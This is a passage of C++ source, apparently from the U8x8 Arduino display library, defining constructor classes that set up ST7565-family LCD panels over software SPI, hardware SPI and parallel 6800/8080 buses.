uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_LM6063_4W_SW_SPI : public U8X8 { public: U8X8_ST7565_LM6063_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6063, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7565_LM6063_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_LM6063_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6063, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_LM6063_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_LM6063_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6063, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_LM6063_3W_SW_SPI : public U8X8 { public: U8X8_ST7565_LM6063_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6063, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7565_LM6063_3W_HW_SPI : public U8X8 { public: U8X8_ST7565_LM6063_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6063, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7565_LM6063_6800 : public U8X8 { public: U8X8_ST7565_LM6063_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6063, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_LM6063_8080 : public U8X8 { public: U8X8_ST7565_LM6063_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6063, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_64128N_4W_SW_SPI : public U8X8 { public: U8X8_ST7565_64128N_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_64128n, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7565_64128N_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_64128N_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_64128n, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_64128N_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_64128N_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_64128n, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_64128N_3W_SW_SPI : public U8X8 { public: U8X8_ST7565_64128N_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_64128n, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7565_64128N_3W_HW_SPI : public U8X8 { public: U8X8_ST7565_64128N_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_64128n, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7565_64128N_6800 : public U8X8 { public: U8X8_ST7565_64128N_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_64128n, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_64128N_8080 : public U8X8 { public: U8X8_ST7565_64128N_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_64128n, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_ZOLEN_128X64_4W_SW_SPI : public U8X8 { public: U8X8_ST7565_ZOLEN_128X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_zolen_128x64, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7565_ZOLEN_128X64_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_ZOLEN_128X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_zolen_128x64, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_ZOLEN_128X64_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_ZOLEN_128X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_zolen_128x64, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_ZOLEN_128X64_3W_SW_SPI : public U8X8 { public: U8X8_ST7565_ZOLEN_128X64_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_zolen_128x64, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7565_ZOLEN_128X64_3W_HW_SPI : public U8X8 { public: U8X8_ST7565_ZOLEN_128X64_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_zolen_128x64, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7565_ZOLEN_128X64_6800 : public U8X8 { public: U8X8_ST7565_ZOLEN_128X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_zolen_128x64, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_ZOLEN_128X64_8080 : public U8X8 { public: U8X8_ST7565_ZOLEN_128X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_zolen_128x64, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_LM6059_4W_SW_SPI : public U8X8 { public: U8X8_ST7565_LM6059_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6059, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7565_LM6059_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_LM6059_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6059, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_LM6059_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_LM6059_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6059, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_LM6059_3W_SW_SPI : public U8X8 { public: U8X8_ST7565_LM6059_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6059, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7565_LM6059_3W_HW_SPI : public U8X8 { public: U8X8_ST7565_LM6059_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6059, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7565_LM6059_6800 : public U8X8 { public: U8X8_ST7565_LM6059_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6059, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_LM6059_8080 : public U8X8 { public: U8X8_ST7565_LM6059_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6059, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_KS0713_4W_SW_SPI : public U8X8 { public: U8X8_ST7565_KS0713_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_ks0713, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7565_KS0713_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_KS0713_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_ks0713, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_KS0713_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_KS0713_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_ks0713, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_KS0713_3W_SW_SPI : public U8X8 { public: U8X8_ST7565_KS0713_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_ks0713, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7565_KS0713_3W_HW_SPI : public U8X8 { public: U8X8_ST7565_KS0713_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_ks0713, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7565_KS0713_6800 : public U8X8 { public: U8X8_ST7565_KS0713_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_ks0713, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_KS0713_8080 : public U8X8 { public: U8X8_ST7565_KS0713_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_ks0713, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_LX12864_4W_SW_SPI : public U8X8 { public: U8X8_ST7565_LX12864_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_lx12864, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7565_LX12864_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_LX12864_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_lx12864, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_LX12864_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_LX12864_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_lx12864, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_LX12864_3W_SW_SPI : public U8X8 { public: U8X8_ST7565_LX12864_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_lx12864, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7565_LX12864_3W_HW_SPI : public U8X8 { public: U8X8_ST7565_LX12864_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_lx12864, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7565_LX12864_6800 : public U8X8 { public: U8X8_ST7565_LX12864_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_lx12864, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_LX12864_8080 : public U8X8 { public: U8X8_ST7565_LX12864_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_lx12864, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_ERC12864_4W_SW_SPI : public U8X8 { public: U8X8_ST7565_ERC12864_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7565_ERC12864_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_ERC12864_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_ERC12864_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_ERC12864_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_ERC12864_3W_SW_SPI : public U8X8 { public: U8X8_ST7565_ERC12864_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7565_ERC12864_3W_HW_SPI : public U8X8 { public: U8X8_ST7565_ERC12864_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7565_ERC12864_6800 : public U8X8 { public: U8X8_ST7565_ERC12864_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_ERC12864_8080 : public U8X8 { public: U8X8_ST7565_ERC12864_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_ERC12864_ALT_4W_SW_SPI : public U8X8 { public: U8X8_ST7565_ERC12864_ALT_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864_alt, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7565_ERC12864_ALT_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_ERC12864_ALT_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864_alt, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_ERC12864_ALT_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_ERC12864_ALT_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864_alt, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_ERC12864_ALT_3W_SW_SPI : public U8X8 { public: U8X8_ST7565_ERC12864_ALT_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864_alt, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7565_ERC12864_ALT_3W_HW_SPI : public U8X8 { public: U8X8_ST7565_ERC12864_ALT_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864_alt, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7565_ERC12864_ALT_6800 : public U8X8 { public: U8X8_ST7565_ERC12864_ALT_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864_alt, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_ERC12864_ALT_8080 : public U8X8 { public: U8X8_ST7565_ERC12864_ALT_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864_alt, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_NHD_C12864_4W_SW_SPI : public U8X8 { public: U8X8_ST7565_NHD_C12864_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12864, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7565_NHD_C12864_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_NHD_C12864_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12864, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); 